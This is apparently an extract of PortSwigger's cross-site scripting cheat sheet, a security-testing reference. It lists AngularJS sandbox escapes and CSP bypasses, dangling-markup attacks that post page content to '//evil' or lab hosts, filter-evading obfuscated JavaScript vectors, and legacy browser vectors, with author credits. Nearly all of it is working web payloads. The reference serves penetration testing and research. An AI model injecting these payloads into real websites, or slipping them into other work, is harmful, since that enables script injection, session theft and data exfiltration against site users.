{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
1.3.20
Gareth Heyes (PortSwigger)
65
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9
Gareth Heyes (PortSwigger)
74
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8
Ian Hickey & Gareth Heyes (PortSwigger)
79
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11
Jann Horn (Google)
517
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
1.5.9 - 1.5.11 shorter
Jann Horn (Google) & Lukasz Plonka
326
{{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}}
>=1.6.0 (shorter)
Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)
33
{{$on.constructor('alert(1)')()}}
DOM based AngularJS sandbox escapes
(Using orderBy or no $eval)
Version:
Author:
Length:
Vector:
Copy:
1.2.0 - 1.2.18
Jann Horn (Google)
118
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
1.2.19 - 1.2.23
Mathias Karlsson (Detectify)
119
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
1.2.24 - 1.2.26
Gareth Heyes (PortSwigger)
317
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
1.4.0-1.4.5
Gareth Heyes (PortSwigger)
75
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
1.4.2-1.5.8
Gareth Heyes (PortSwigger) & Daniel Kachakil (Anvil Ventures)
70
{y:''.constructor.prototype}.y.charAt=[].join;[1]|orderBy:'x=alert(1)'
1.4.4 (without strings)
Gareth Heyes (PortSwigger)
134
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
AngularJS CSP bypasses
Version:
Author:
Length:
Vector:
Copy:
All versions (all browsers) using from
Gareth Heyes (PortSwigger)
91
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
All versions (all browsers) shorter using assignment
Gareth Heyes (PortSwigger)
66
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
All versions (all browsers) shorter
Gareth Heyes (PortSwigger)
91
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
1.2.0 - 1.5.0
Eduardo Vela (Google)
190
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
All versions (all browsers) shorter via oncut
Savan Gadhiya (NotSoSecure)
59
<input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'>
Scriptless attacks
Dangling markup
Input using formaction
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?
Use textarea to consume markup and post to external site
<form><button formaction=//evil>XSS</button><textarea name=x>
Pass markup data through window.name using form target
<button form=x>XSS</button><form id=x action=//evil target='
Pass markup data through window.name using base target
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
Pass markup data through window.name using formtarget
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="
Using base href to pass data
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
Using embed window name to pass data from the page
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Using iframe window name to pass data from the page
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Using object window name to pass data from the page
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Using frame window name to pass data from the page
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
Polyglots
WAF bypass global objects
XSS into a JavaScript string: string concatenation (window)
';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (self)
';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (this)
';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (top)
';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (parent)
';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (frames)
';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: string concatenation (globalThis)
';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
XSS into a JavaScript string: comment syntax (window)
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (self)
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (this)
';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (top)
';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (parent)
';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (frames)
';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: comment syntax (globalThis)
';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
XSS into a JavaScript string: hex escape sequence (window)
';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (self)
';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (this)
';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (top)
';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (parent)
';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (frames)
';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence (globalThis)
';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)
';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)
';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)
';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)
';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)
';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)
';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)
';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
XSS into a JavaScript string: octal escape sequence (window)
';window['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (self)
';self['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (this)
';this['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (top)
';top['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (parent)
';parent['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (frames)
';frames['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: octal escape sequence (globalThis)
';globalThis['\141\154\145\162\164']('\130\123\123');//
XSS into a JavaScript string: unicode escape (window)
';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (self)
';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (this)
';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (top)
';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (parent)
';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (frames)
';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: unicode escape (globalThis)
';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS into a JavaScript string: RegExp source property (window)
';window[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (self)
';self[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (this)
';this[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (top)
';top[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (parent)
';parent[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (frames)
';frames[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: RegExp source property (globalThis)
';globalThis[/al/.source+/ert/.source](/XSS/.source);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (window)
';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (self)
';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (this)
';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (top)
';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)
';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)
';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)
';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
Content types
This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.
Response content types
This section lists content-types that can be used for XSS when you can inject into the content-type header.
Impossible labs
To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.
Title | Description | Length limit | Closest vector | Link |
---|---|---|---|---|
Basic context, WAF blocks <[a-zA-Z] | This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag. | N/A | N/A | 🔗 |
Script based injection but quotes, forward slash and backslash are escaped | We often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block. The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML. | N/A | N/A | 🔗 |
innerHTML context but no equals allowed | You have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event. | N/A | N/A | 🔗 |
Basic context length limit | This lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it? | 15 | <q oncut=alert`` | 🔗 |
Attribute context length limit | The context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it? | 14 | "oncut=alert`` | 🔗 |
Basic context length limit, arbitrary code | It's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code. | 19 | <q oncut=eval(name) | 🔗 |
Attribute context length limit arbitrary code | Again calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript. | 17 | See link | 🔗 |
Injection occurs inside a frameset but before the body | We received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy. | N/A | N/A | 🔗 |
Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed. | The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.`. Luan Herrera solved this lab in an amazing way, you can view the solution in the following post. | N/A | N/A | 🔗 |
Injection occurs inside double quoted src attribute of a image element | The double quote is encoded, the challenge is to find a way to execute XSS within a quoted src attribute. | N/A | N/A | 🔗 |
Prototype pollution
Classic vectors (XSS crypt)
Iframe data urls no longer work as modern browsers use a null origin
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
VBScript protocol used to work in IE
<a href="vbscript:MsgBox+1">XSS</a>
<a href="#" onclick="vbs:Msgbox+1">XSS</a>
<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>
JScript compact was a minimal version of JS that wasn't widely used in IE
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
JScript.Encode allows encoded JavaScript
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
VBScript.Encoded allows encoded VBScript
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
IE9 select elements and plaintext used to consume markup
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
In quirks mode IE allowed you to use = instead of :
<div style=xss=expression(alert(1))>
<div style="color=red">test</div>
Behaviors for older modes of IE
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>
Older versions of IE supported event handlers in functions
<script>
function window.onload(){
alert(1);
}
</script>
<script>
function window::onload(){
alert(1);
}
</script>
<script>
function window.location(){
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>
GreyMagic HTML+time exploit (no longer works even in 5 docmode)
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>
Firefox allows NULL characters inside opening comments
<!- - ><img title="--><iframe/onload=alert(1)>"> -->
<!- - ><img title="--><iframe/onload=alert(1)>"> -->
Isindex using submit
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
Use element with an external URL
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>
onloadstart event for media elements in Firefox v107 and below
<img src=validimage.png onloadstart=alert(1)>
onloadend event for media elements in Firefox v107 and below
<input type=image onloadend=alert(1) src=validimage.png>
onbounce event for marquee element in Firefox v125 and below
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
onfinish event for marquee element in Firefox v125 and below
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
onstart event for marquee element in Firefox v125 and below
<marquee onstart=alert(1)>XSS</marquee>
Credits
Brought to you by PortSwigger Research. Created by @garethheyes.
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jann Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar, Dwi Siswanto, bxmbn, Tarunkant Gupta, Rando111111, laytonctf, Begeek, Hannes Leopold, yawnmoth, yawnmoth, Yair Amit, Franz Sedlmaier, Łukasz Pilorz, Steven Christey, Dan Crowley, Rene Ledosquet, Kurt Huwig, Moritz Naumann, Jonathan Vanasco, nEUrOO, Sec Consult, Timo, Ozh, David Ross, Lukasz Plonka (sp3x), xhzeem, Mach1ne, AmirMohammad Safari, Tom Schuster, Wcraft-log, Filipnyquist, zhenwarx
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request